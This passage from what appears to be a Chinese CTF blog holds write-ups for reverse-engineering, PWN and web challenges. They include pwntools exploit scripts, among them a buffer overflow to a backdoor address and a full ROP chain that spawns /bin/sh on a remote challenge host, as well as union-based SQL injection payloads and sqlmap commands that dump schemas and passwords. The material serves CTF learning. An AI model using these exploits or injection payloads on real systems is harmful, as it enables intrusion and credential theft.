encoded_data])\ndecoded_data = base64.b64decode(xor_decoded_data)\ncode_obj = marshal.loads(decoded_data)\nexce(code_obj)\n```\n\n> exec 是 Python 中的一个内置函数,用于执行动态生成的 Python 代码。这个函数接受一个代码对象(通常是由字符串形式的代码或者编译后的字节码构建而成),并执行其中的 Python 语句exec 是 Python 中的一个内置函数,用于执行动态生成的 Python 代码。\n\n重点,接受一个代码对象,通常是由字符串形式的代码或者编译后的字节码构建而成。\n\n而且前面marshal.loads(decoded_data) 反序列化从某种格式编码的代码。所以现在的encode其实是类似于字节码的存在?因此我们可以直接用dis模块查看code_obj 中包含的 Python 字节码的信息。\n\n\n\n``` python\nimport base64\nimport marshal\nfrom dis import dis\n\nencoded_data = b'#`VVVVVVVVVVVVVVVVVVVVVSVVVVFVVVV_YZVVVVMVU|VNFV@pU|V{xUMVYvVzBSMVDSVFRVMFDSV\\\\VQMV@\\x7fVAxPMFU{V@BPp`]vU%B_MF]eVy]VMFY|UxZUVFUbTPBSMVrSVFRVMV\\x7fCVT|]N`^VVVVVVVVVVVVVVVpVVVVPVVVVF`VVV_GFVVVVsVU\\'V@FUp`PSVO\\'TMV].V$FUMVPSVBFVOC\".U_`SqV]/UU|VQ`U/V_`RsV]/V^ZUQpVMVUtVMVR@V_\\'SqV]/Vo|VqV]/UU|VVpU/Vy`RGVU/Vy`SGVUoPPFTUVU.U_\\'SsVXSV_\\'QqVQRVQ&pqFM/UPFSQ`U|VENVqFE/V$`TqVFMVUtVMVR@V_\\'SqV]/Vo|VqV]/UU|VVpU/Vy`RGVU/Vy`SGVU/Vy`TqVFMV_`TqVZMVUtVMVR@VU|VqFs/UvVRqVM/U\\'RVxFRUV_QfqVACVT|RCb|VVFVV!FVVVVSgVFVVVT|Q%pEdvOY\\'%pAnN@\"yMsxSuPAb%p{~rOE{NO]nNOyvUzQ`tPAbMT|^%pYeMO{vTOUdN@{bsPA#sYxUB.xUvcxUvAx\\\\N%{`vPAnsPA#sYxRN%\\x7f\\x7ftcxUv!|Vtp/VVVS!UzM&u~\"`rsx[tzZ\\'O%AbN$]\"t_FUVVVVto`VVVVVVF`UUV^ZVDVU_V^^VFNTTVRZVEVUPpRNVEVTt\\x7fRVVVUmT`VVVPA#N@&`uPAqv%A\"tnxVVVSN{U!ez%M\\'!&&VP ez!UZmA.\\'X\"g^\\'/NUcvXd.TPRTTD!&UB\\\\`dT.R}Q{!QQUdr~UguyU&sTU\"u$An^PMdN@t!rpA&sPNcXQxSr@Am@p]bu\\'#gT_^EVVVVtp|VVVUvU@YxM@Ye%pA`tz{bsYxQv@\"`sOCvUzAbN%.|MsxRMzo\\x7fM&x]M@\"}ty{`sPA|tp/VVVUnS`VVV_^GVVVVt\\x7fVVVVSvTSocu%E&uPB<VFVVV_ZFVVVVTUFRVFFTTVRZVpxTTVR\\\\Vp**'\n\n\nxor_decoded_data = bytes([byte ^ 23 for byte in encoded_data])\ndecoded_data = base64.b64decode(xor_decoded_data)\ncode_obj = marshal.loads(decoded_data)\ndis(code_obj)\n\n```\n\n得到字节码后我们直接gpt,转换成正常的py代码,如果gpt是傻子可以尝试第二种方式\n\n``` python\nimport base64\nimport marshal\n\nencoded_data = b'...'\n\nxor_decoded_data = bytes([byte ^ 23 for byte in encoded_data])\n\ndecoded_data = base64.b64decode(xor_decoded_data)\n\nopen(\"new.pyc\",\"wb\").write(decoded_data)\n```\n\n将他写入到一个文件里面,然后现在还识别不出他是pyc文件,我们去直接反编译出的pyc里面,随便偷个头过来,将他修复(上面的一串)\n\n![image-20231031214116370](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031214116370.png)\n\n然后再uncompyle6 new.pyc > 1.py\n\n``` python\n# uncompyle6 version 3.9.0\n# Python bytecode version base 3.8.0 (3413)\n# Decompiled from: Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)]\n# Embedded file name: fun.py\n\n\ndef rc4_encrypt(key, plaintext):\n S = list(range(256))\n j = 0\n for i in range(256):\n j = (j + S[i] + key[i % len(key)]) % 256\n S[i], S[j] = S[j], S[i]\n else:\n i = j = 0\n ciphertext = bytearray()\n for char in plaintext:\n i = (i + 1) % 256\n j = (j + S[i]) % 256\n S[i], S[j] = S[j], S[i]\n k = S[(S[i] + S[j]) % 256]\n ciphertext.append(char ^ k)\n else:\n print(ciphertext) #这一段是我自己加的,直接自己调用自己就可以了\n return ciphertext\n\n\nkey = b'example_key'\ncheck = b'\\xd8\\x94\\x1e\\xab\\x9bft\\xeb]@\\x1b\\xba\\xe6\\xe8\\x133W\\xdd\\x0e\\xe6\\x924\\xf1\\x80mh\\xeb=\\x08a\\x02\\t.\\xb5\\x05B\\xb0\\xb0/D\\x8cY'\nprint('Plz input your flag:')\nflag = input().encode('utf-8')\nencrypted = rc4_encrypt(key, flag)\nif encrypted == check:\n print('yes')\nelse:\n print('no')\n# okay decompiling C:\\Users\\a\\Desktop\\new.pyc\n\n```\n\n可以看到就是一个rc4,我们让他自己调用自己就可以解出flag了\n\n![image-20231031214441502](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231031214441502.png)\n\n### [WEEK3]java是最棒的语言吗\n\n将原来的java拷贝下俩,加两处输出,获得密文和密钥,最后异或一下获得flag\n\n``` java\nimport java.nio.charset.StandardCharsets;\nimport java.util.Arrays;\nimport java.util.Scanner;\n\n/* renamed from: ChaCha20 reason: default package */\n/* loaded from: java是最棒的语言吗.class */\npublic class ChaCha20 {\n public static void main(String[] strArr) {\n Scanner scanner = new Scanner(System.in);\n System.out.println(\"input your flag:\");\n String nextLine = scanner.nextLine();\n if (Arrays.equals(encrypt(nextLine.getBytes(StandardCharsets.UTF_8), \"Shctf_Welcomes_Have_4_good_t1me_\".getBytes(), \"HsehrcOedfgs\".getBytes()), hexStringToBytes(\"ce43283af73d106815fe5293b474f5309d44063c7fde19533300c60603dfe528d19aee2f6db615191e45\"))) {\n System.out.println(\"right!\");\n } else {\n System.out.println(\"error!\");\n }\n }\n\n private static byte[] encrypt(byte[] bArr, byte[] bArr2, byte[] bArr3) {\n int[] chachaInit = chachaInit(bArr2, bArr3);\n byte[] bArr4 = new byte[bArr.length];\n byte[] bArr5 = new byte[64];\n for (int i = 0; i < bArr.length; i += 64) {\n chachaBlock(chachaInit, bArr5);\n for (int i2 = 0; i2 < 64 && i + i2 < bArr.length; i2++) {\n bArr4[i + i2] = (byte) (bArr[i + i2] ^ bArr5[i2]);\n System.out.print(bArr5[i2] + \",\"); ##这里是添加的\n }\n System.out.println(\"\\n\");\n chachaInit[12] = chachaInit[12] + 1;\n }\n return bArr4;\n }\n\n private static int[] chachaInit(byte[] bArr, byte[] bArr2) {\n int[] iArr = new int[16];\n iArr[0] = 1634760805;\n iArr[1] = 857760878;\n iArr[2] = 2036477234;\n iArr[3] = 1797285236;\n for (int i = 0; i < 8; i++) {\n iArr[4 + i] = bytesToIntLittleEndian(bArr, i * 4);\n }\n iArr[12] = 0;\n iArr[13] = 0;\n iArr[14] = bytesToIntLittleEndian(bArr2, 0);\n iArr[15] = bytesToIntLittleEndian(bArr2, 4);\n return iArr;\n }\n\n private static void chachaBlock(int[] iArr, byte[] bArr) {\n int[] copyOf = Arrays.copyOf(iArr, 16);\n for (int i = 0; i < 10; i++) {\n chachaDoubleRound(copyOf);\n }\n for (int i2 = 0; i2 < 16; i2++) {\n intToBytesLittleEndian(iArr[i2] + copyOf[i2], bArr, i2 * 4);\n }\n }\n\n private static void chachaDoubleRound(int[] iArr) {\n quarterRound(iArr, 0, 4, 8, 12);\n quarterRound(iArr, 1, 5, 9, 13);\n quarterRound(iArr, 2, 6, 10, 14);\n quarterRound(iArr, 3, 7, 11, 15);\n quarterRound(iArr, 0, 5, 10, 15);\n quarterRound(iArr, 1, 6, 11, 12);\n quarterRound(iArr, 2, 7, 8, 13);\n quarterRound(iArr, 3, 4, 9, 14);\n }\n\n private static void quarterRound(int[] iArr, int i, int i2, int i3, int i4) {\n iArr[i] = iArr[i] + iArr[i2];\n iArr[i4] = rotateLeft(iArr[i4] ^ iArr[i], 16);\n iArr[i3] = iArr[i3] + iArr[i4];\n iArr[i2] = rotateLeft(iArr[i2] ^ iArr[i3], 12);\n iArr[i] = iArr[i] + iArr[i2];\n iArr[i4] = rotateLeft(iArr[i4] ^ iArr[i], 8);\n iArr[i3] = iArr[i3] + iArr[i4];\n iArr[i2] = rotateLeft(iArr[i2] ^ iArr[i3], 7);\n }\n\n private static int rotateLeft(int i, int i2) {\n return (i << i2) | (i >>> (32 - i2));\n }\n\n private static int bytesToIntLittleEndian(byte[] bArr, int i) {\n return ((bArr[i + 3] & 255) << 24) | ((bArr[i + 2] & 255) << 16) | ((bArr[i + 1] & 255) << 8) | (bArr[i] & 255);\n }\n\n private static void intToBytesLittleEndian(int i, byte[] bArr, int i2) {\n bArr[i2] = (byte) (i & 255);\n bArr[i2 + 1] = (byte) ((i >>> 8) & 255);\n bArr[i2 + 2] = (byte) ((i >>> 16) & 255);\n bArr[i2 + 3] = (byte) ((i >>> 24) & 255);\n }\n\n private static byte[] hexStringToBytes(String str) {\n int length = str.length();\n byte[] bArr = new byte[length / 2];\n for (int i = 0; i < length; i += 2) {\n bArr[i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));\n System.out.print(bArr[i / 2] + \",\"); ##这里是添加的\n }\n return bArr;\n }\n\n private static String bytesToHexString(byte[] bArr) {\n StringBuilder sb = new StringBuilder();\n int length = bArr.length;\n for (int i = 0; i < length; i++) {\n sb.append(String.format(\"%02x\", Byte.valueOf(bArr[i])));\n }\n return sb.toString();\n }\n}\n```\n\n\n\n``` python\nkey = [-50, 67, 40, 58, -9, 61, 16, 104, 21, -2, 82, -109, -76, 116, -11, 48, -99, 68, 6, 60, 127, -34, 25, 83, 51, 0,\n -58, 6, 3, -33, -27, 40, -47, -102, -18, 47, 109, -74, 21, 25, 30, 69, ]\nenc = [-88,47,73,93,-116,11,35,81,32,-53,107,-95,-125,89,-64,81,-81,115,43,8,74,-22,122,126,80,100,-91,49,46,-24,-121,31,-78,-7,-41,31,95,-122,115,45,40,56,81,26,-10,-25,105,-36,-21,59,122,-97,-89,-102,81,-116,52,-61,-106,85,-81,-54,-123,119,\n-32,32,105,-37,-117,6,-128,89,2,-4,-21,-118,-94,-81,103,26,21]\nfor i in range(len(key)):\n tmp = key[i] ^ enc[i]\n if tmp < 0:\n print(chr(-tmp), end='')\n else:\n print(chr(tmp), end='')\n```\n\n### [WEEK3]crackme\n\n[Lua 工具箱 (luatool.cn)](https://www.luatool.cn/index.php)\n\nPE提示这是个lua代码,那么我们去在线网站直接解密一下\n\n![image-20231105141117807](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231105141117807.png)\n\n\n\n``` lua\nprint(\"please input your flag:\")\nflag = io.read()\ncode = {}\nsecret = {\n 54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 9, 0, 516, 6, 2, 572, 2, 515, 60, 63, 62, 570, 553, 31, 1, 594, 117, 15\n}\nl = string.len(flag)\nfor i = 1, l do\n num = ((string.byte(flag, i) + i) % 333 + 444) % 555 - 1\n table.insert(code, num)\nend\nfor i = 1, l do\n x = i - 1\n if i + 2 >= l then\n code[i] = code[i % l + 1] ~ code[(i + 1) % l + 1]\n else\n code[i] = code[(i + 1) % l] ~ code[(i + 2) % l]\n end\nend\nfor i = 1, l do\n if secret[i] ~= code[i] then\n print(\"Incorrect\")\n return\n end\nend\nprint(\"You win,flag is\", flag)\n\n```\n\nz3约束:\n\n``` python\n# z3 can't solve problems like x%100==1(these mod value equation)\nfrom z3 import *\n\ns = Solver() \t\nsecret = [54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21,\n 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 14, 527, 520, 0, 517, 57, 575, 512, 1, 572, 515, 60, 18, 31, 1,\n 594, 117, 15]\nl = len(secret)\nflag = [BitVec('%d' % i, 12) for i in range(l)]\ncode = flag[:]\nfor i in range(52):\n code[i] = code[i + 1] ^ code[i + 2]\ncode[52] = code[53] ^ code[0]\ncode[53] = code[0] ^ code[1]\nfor i in range(l):\n s.add(secret[i] == code[i])\n\n\ndef crack(a, b):\n for x in range(1, 128):\n if ((x + b) % 333 + 444) % 555 - 1 == a:\n return x\n return ord('f')\n\n\nif s.check() == sat:\n m = s.model()\n print(''.join([chr(crack(m[flag[i]], i + 1)) for i in range(l)]))\n```\n\n> 在这段代码中,m是Solver生成的一个模型,用于保存求解结果。\n>\n> flag是一个由BitVec组成的列表,表示未知变量。\n>\n> m[1]表示取模型m中键为1的值,但是m中没有键为整数1,所以会报错。\n>\n> m[flag[1]]表示取models中键为flag[1]的值,相当于取键为flag列表中第二个元素的值。\n>\n> flag列表在代码中初始化为:\n>\n> ```\n> python\n> \n> Copy code\n> \n> flag = [BitVec('[*]%d' % i , 12) for i in range(len)]\n> ```\n>\n> 所以flag[1]对应的是BitVec('[*]1', 12),也就是第二个未知变量。\n>\n> 模型m中确实有这个键,所以可以正确打印出键为flag[1]的值。\n>\n> 总结一下:\n>\n> m[1]: 错误访问,模型m没有整数键1\n>\n> m[flag[1]]: 正确访问,取出模型中的第二个未知变量\n>\n> 所以两者输出不同,一个报错一个可以正确打印值。\n>\n> 区别在于m[flag[1]]通过flag列表 indirect 访问了模型的一个键,而m[1]直接以整数1为键访问,该键并不存在。\n\n\n\n### 喵?喵。喵!\n\n\n\n\n\n# PWN\n\n### [WEEK1]nc\n\n直接连上cat flag\n\n\n\n### [WEEK1] 四则计算器\n\nstrlen遇到/x00,停止读取来溢出,跳过长度判断\n\n``` python\nfrom pwn import *\n\ncontext(os='linux', arch='amd64', log_level='debug')\n\n# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']\n# p = gdb.debug('./ret2text')\n# p = process('./ret2text')\n\np = remote('112.6.51.212',32774)\n\ndef debug():\n gdb.attach(r)\n pause()\n\n\nbackdoor = p64(0x4015E1)\n\npad = b'\\x00'*(0x32+8)\n\npayload = pad + backdoor\n\np.sendlineafter('>',payload)\n\np.interactive()\n```\n\n\n\n\n\n### [WEEK1]口算题\n\n交互题目,但是其中包含了两unicode字符,我们修改一下将其解码成utf-8编码就好了\n\n``` python\nfrom pwn import *\n\ncontext(arch='amd64', os='linux')\ncontext.log_level = 'DEBUG'\n\np = remote('112.6.51.212',30687)\np.sendlineafter(b'start...', b'')\n\nfor i in range(200):\n p.recvline()\n a = p.recvline().decode('utf-8')\n a = a[0:-3]\n a = a.replace('÷', '/')\n a = a.replace('×', '*')\n print(a)\n r = eval(a)\n p.sendline(str(r))\n p.recvline()\n\np.interactive()\n\n```\n\n### [WEEK1]猜数游戏\n\n经典猜数\n\n``` python\nfrom pwn import *\nfrom ctypes import * \ndll = cdll.LoadLibrary('libc.so.6')\ncontext(os='linux', arch='amd64', log_level='debug')\nip, port = '112.6.51.212:32778'.split(':')\np = remote(ip ,port)\n\na = dll.srand(dll.time(0))\nb=dll.rand()\n\n# p.recvuntil(b'number?')\np.sendlineafter('number?',b'11')\np.sendline(str(b))\nprint(b)\n\np.interactive()\n\n```\n\n### [WEEK1]hard nc\n\ngift2里有个base64,解密即可\n\n> MWYtOTdlNi0wMzBiNTNlNjdkODN9Cg==\n\nls -a,可以看到隐藏的文件,然后直接\n\n> cd .gift ##别忘了(.)\n\n### [WEEK1]ropchain\n\n题目就已知是使用ROPgadget做了,那我们能干什么,直接顺从\n\n> ROPgadget --binary 文件名 --ropchain\n\n``` python\nfrom pwn import *\nfrom struct import pack\n\ncontext.log_level = 'debug'\ncontext(arch='amd64', os='linux')\n# p=process('chal')\npl=remote('112.6.51.212',32783)\n# p=gdb.debug('./chal')\n# p=remote(\"node3.buuoj.cn\",28477)\n#p=process('./wustctf2020_name_your_cat')\n# elf=ELF('./wustctf2020_name_your_cat')\n\n# Padding goes here\np = b'a'*(0x20+8)\n\np += pack('<Q', 0x000000000040a30d) # pop rsi ; ret\np += pack('<Q', 0x000000000049d0c0) # @ .data\np += pack('<Q', 0x0000000000419a1c) # pop rax ; ret\np += b'/bin//sh'\np += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret\np += pack('<Q', 0x000000000040a30d) # pop rsi ; ret\np += pack('<Q', 0x000000000049d0c8) # @ .data + 8\np += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret\np += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret\np += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret\np += pack('<Q', 0x000000000049d0c0) # @ .data\np += pack('<Q', 0x000000000040a30d) # pop rsi ; ret\np += pack('<Q', 0x000000000049d0c8) # @ .data + 8\np += pack('<Q', 0x0000000000401858) # pop rdx ; ret\np += pack('<Q', 0x000000000049d0c8) # @ .data + 8\np += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret\np += pack('<Q', 0x0000000000401243) # syscall\n\npl.sendline(p)\n\npl.interactive()\n```\n\n### [WEEK1]babystack\n\n\n\n"},{"title":"re做题记录","url":"/2023/09/23/re做题记录/","content":"\n\n\n# 花指令\n\n[花指令总结_Captain_RB的博客-CSDN博客](https://blog.csdn.net/Captain_RB/article/details/123858864)\n\n## [NSSRound#3 Team]jump_by_jump\n\n[[NSSRound#3 Team\\]jump_by_jump | NSSCTF](https://www.nssctf.cn/problem/2313)\n\n为什么记录这个题目时因为他有花指令,是最简单的花指令\n\n首先我们使用ida打开,我们可以看到他的主函数里调用了flag函数,但是不显示,我们切换视图发现是有花指令导致他无法编译\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.l5jcce610eo.webp)\n\n我们看到他的特征就想到了多字节指令,我们在41188C(call或者jmp等等跳转函数)处,摁D将其转换成数据,将E8 nop 掉\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.6qkaosh9hjk0.webp)\n\n同时我们发现有很多变成了黄色的代码,我们一路对这些黄色的代码摁c将其转换成代码,最后我们可以选中全部的代码,摁d转换成数据,摁c转换成代码,最后摁p再编译成函数,就去掉了这类最简单的花指令,在函数内我们就发现了flag\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.3x3dpjarkq60.webp)\n\n<!-- more --> \n\n## [HNCTF 2022 WEEK2]e@sy_flower\n\n第二个简单的去花题目\n\n找到主函数后发现有花的地方\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.44rklresz740.webp)\n\n我们在这里找到了花指令的地方,我们直接右击选择patching->change byte\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.50qing3en4o0.webp)\n\n我们把E9->90 ,把E9nop掉,然后在main上p一下编译函数就可以了\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.4saybtma0gs0.webp)\n\n\n\n``` c\nint __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\n signed int v3; // kr00_4\n int i; // edx\n char v5; // cl\n unsigned int j; // edx\n int v7; // eax\n char v8; // [esp+0h] [ebp-44h]\n char v9; // [esp+0h] [ebp-44h]\n char Arglist[48]; // [esp+10h] [ebp-34h] BYREF\n\n sub_401020(\"please input flag\\n\", v8);\n sub_401050(\"%s\", (char)Arglist);\n v3 = strlen(Arglist);\n for ( i = 0; i < v3 / 2; ++i )\n {\n v5 = Arglist[2 * i];\n Arglist[2 * i] = Arglist[2 * i + 1];\n Arglist[2 * i + 1] = v5;\n }\n for ( j = 0; j < strlen(Arglist); ++j )\n Arglist[j] ^= 0x30u;\n v7 = strcmp(Arglist, \"c~scvdzKCEoDEZ[^roDICUMC\");\n if ( v7 )\n v7 = v7 < 0 ? -1 : 1;\n if ( !v7 )\n {\n sub_401020(\"yes\", v9);\n exit(0);\n }\n sub_401020(\"error\", v9);\n exit(0);\n}\n```\n\n我们分析代码就可以知道,我们已知了加密后的代码,先异或回数据,然后根据前面的替换\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.3qj9ibdwap80.webp)\n\n然后根据上面解出来的数据再写代码进行替换位置\n\n``` python\na='SNCSFTJ{su_tujknB_tyse}s'\nsecret=list(a)\n\nfor i in range(0,12):\n deme=secret[2*i+1]\n secret[2*i+1] = secret[2*i]\n secret[2*i]=deme\n\nresult=''.join(secret)\n\nprint(result,end='')\n\n# NSSCTF{Just_junk_Bytess}\n```\n\n\n\n## [SWPUCTF 2021 新生赛]easyapp\n\n\n\n首先先把附件改成zip后缀进行解压,解压完成后直接使用jadx打开直接找到主函数进行分析\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.5lfec6bnq680.webp)\n\n我们可以看到这段是主要的函数\n\n``` java\npublic /* synthetic */ void lambda$onCreate$0$MainActivity(final EditText editText, View v) {\n System.out.println(encoder.encode(editText.getText().toString()));\n if (encoder.encode(editText.getText().toString()).equals(\"棿棢棢棲棥棷棊棐棁棚棨棨棵棢棌\")) {\n Toast.makeText(this, \"YES\", 0).show();\n } else {\n Toast.makeText(this, \"NO\", 0).show();\n }\n\n```\n\n前面引进了两个函数,我们挨个查看一下\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.1cftb7q0szxc.webp)\n\n我们可以看到第一个加密函数,使用了key为123456789,然后和输入的内容进行异或\n\n``` java\npackage com.example.ilililililil;\n\n/* loaded from: classes.dex */\npublic class Encoder {\n private int key = 123456789;\n\n public String encode(String str) {\n StringBuilder sb = new StringBuilder();\n for (char c : str.toCharArray()) {\n sb.append((char) (c ^ this.key));\n }\n return sb.toString();\n }\n}\n```\n\n我们看一下下一个函数。这里就是一个坑,他把第一个函数中的key值改成了987654321,所以后面异或的key为987654321\n\n``` java\npackage com.example.ilililililil;\n\nimport java.lang.reflect.Field;\n\n/* loaded from: classes.dex */\npublic class MainActlvity {\n public MainActlvity() {\n try {\n Field declaredField = Encoder.class.getDeclaredField(\"key\");\n declaredField.setAccessible(true);\n declaredField.set(MainActivity.encoder, 987654321);\n } catch (IllegalAccessException | NoSuchFieldException e) {\n e.printStackTrace();\n }\n }\n}\n```\n\n\n\n到现在我们已经知道了异或的key以及密文,所以我们就可以直接写脚本解题目了\n\n当然注意一个很关键的地方因为他的apk使用的unicode编码,但我们ascii码的表示范围是0x0-0xFF,所以到最后我们需要异或一个255或者0xff表示范围\n\n``` python\ncode='棿棢棢棲棥棷棊棐棁棚棨棨棵棢棌'\nkey = 987654321\nflag=\"\"\nfor i in code:\n flag+=chr((ord(i)^key)%128) #确定在0~128\nprint(flag)\n\n# NSSCTF{apkYYDS}\n```\n\n","tags":["ctf","re"]},{"title":"web入门记录","url":"/2023/09/21/web入门记录/","content":"\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/202308172151534.jpg)\n\n\n\n<!-- more --> \n\n## SQL注入\n\n[SQL注入的一般过程_sql注入过程___lifanxin的博客-CSDN博客](https://blog.csdn.net/A951860555/article/details/116484328)\n\n[浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客]()\n\n\n\nSQL中的select语句,select语句是SQL中的查询语句,用于从数据库中查询数据,并且返回给用户。\n它的简单用法是这样的:**select 字段名1,字段名2...字段名n from** 表名当然,你也可以同时指定数据库名及表名,具体用法是用一个点号连接数据库名和表名,例子:select 字段名1,字段名2...字段名n from 数据库名.表名\n\n联合查询:\n\t格式:**select 字段名1,字段名2...字段名n from 表名1 union select 字段名1,字段名2...字段名n from 表名2**\n\t作用:联合查询用于合并两个或多个 SELECT 语句的结果集\n\t注意:\n\n\t\t1. 每个 SELECT 语句必须拥有相同数量的列\n\t\t2. 列必须拥有相似的数据类型(相似的意思是:有些数据类型间可以互相转化,比如数字字符串和数字。这就叫相似,相似就行,不是必须一模一样)\n\t\t3. 每个 SELECT 语句中的列的顺序必须相同\n\n## 手注:\n\n记录一种做题方法\n\n题目来源 Litctf sql注入\n\n1.先判断显示位,payload\n\n``` php\n-1)))))) union select 1,2#\n```\n\n2.爆库:\n\n```php+HTML\n1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#\n```\n\n1=2的目的是使得条件为假\n\n3.得到库名\n\n```php\ninformation_schema,mysql,ctftraining,performance_schema,test,ctf\n```\n\n4.爆表:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=\"ctf\"#\n```\n\n5.得到表名:\n\n```php\nusers\n```\n\n6.爆列:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=\"users\"#\n```\n\n7.得到列名:\n\n```php\nid,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password\n```\n\n8.获取值:\n\n```\n1)))))) and 1=2 union select 1,group_concat(password) from ctf.users#\n```\n\n9.获得彩蛋(难蚌):\n\n```php\nOHHHHHHH,F1rst_to_Th3_eggggggggg!} \n```\n\nflag同理,去爆ctftraining即可\n\n10.重新爆表:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=\"ctftraining\"#\n```\n\n11.得到表明:\n\n```php\nflag,news,users\n```\n\n12.重新爆列:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=\"flag\"#\n```\n\n13.获得列名:\n\n```\nflag\n```\n\n14.重新获取值:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#\n```\n\n## Sqlmap\n\n查询是否可以找到数据库\n\n``` \npython3 sqlmap.py -r 1.txt\n```\n\n查数据库\n\n``` \npython3 sqlmap.py -r 1.txt -dbs 